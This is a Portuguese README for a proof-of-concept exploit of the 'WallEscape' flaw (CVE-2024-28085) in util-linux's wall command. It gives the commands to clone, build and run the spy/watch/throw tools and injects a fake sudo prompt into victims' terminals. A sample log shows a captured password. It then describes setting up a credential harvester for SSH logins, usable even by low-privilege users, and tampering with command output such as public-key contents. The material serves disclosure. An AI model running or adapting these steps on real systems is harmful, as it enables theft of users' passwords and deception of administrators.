
Vulnerabilidade WallEscape em util-linux
O comando wall do util-linux não filtra sequências de escape dos argumentos de linha de comando. O código vulnerável foi introduzido no commit cdd3cc7fa4 (2013). Todas as versões desde então estão vulneráveis. Um relatório completo pode ser encontrado aqui. Eu apelidei este bug de "WallEscape".
Este código de exploit foi bem-sucedido em vazar senhas no Ubuntu 22.04 com configurações padrão.
Certifique-se de que a cor de fundo e o nome de usuário estejam definidos com valores apropriados em throw.c.
Preparação do ataque
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
Eu usei sudo systemctl start apache2 pois é um comando de curta duração e sem muita saída.
Certifique-se de encerrar o spy após o exploit ser executado: pkill spy.
Então, em outro terminal
sudo su
sudo systemctl start apache2
Pode não ser necessário que a vítima chame su dependendo do sistema, e se o acesso for local ou via ssh.
Isso deve fazer com que o prompt falso de sudo apareça no terminal da vítima. Como muitos sistemas vazam comandos que não são encontrados, a senha da vítima pode aparecer no proc.log.
Exemplo de proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
Algumas pessoas entenderam mal em quais cenários isso poderia ser usado para atacar outro usuário. Não precisamos atacar o sudo; podemos atacar qualquer lugar onde o usuário insere sua senha. No meu sistema, após um usuário fazer login usando OpenSSH, o comando /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new é executado.
Para vazar senhas de usuários do Openssh, imagine executar o seguinte:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
Podemos então enviar uma mensagem de "senha incorreta" após um usuário conseguir fazer login corretamente via SSH. O sudo foi apenas o comando que escolhi para demonstrar, mas há muitos alvos possíveis. Não é difícil imaginar um atacante configurando um coletor de credenciais para coletar as credenciais de todos os usuários que fazem login via SSH. Isso é possível até para os usuários com menos privilégios, como www-data.
Esta vulnerabilidade também dá aos atacantes a capacidade de alterar a saída de qualquer comando. Imagine que esperássemos o comando cat ~/.ssh/id_rsa.pub". Um atacante poderia alterar o que o usuário copia para a sua chave pública. Nesse estilo de ataque, não precisamos de uma primitiva de vazamento para comandos não encontrados.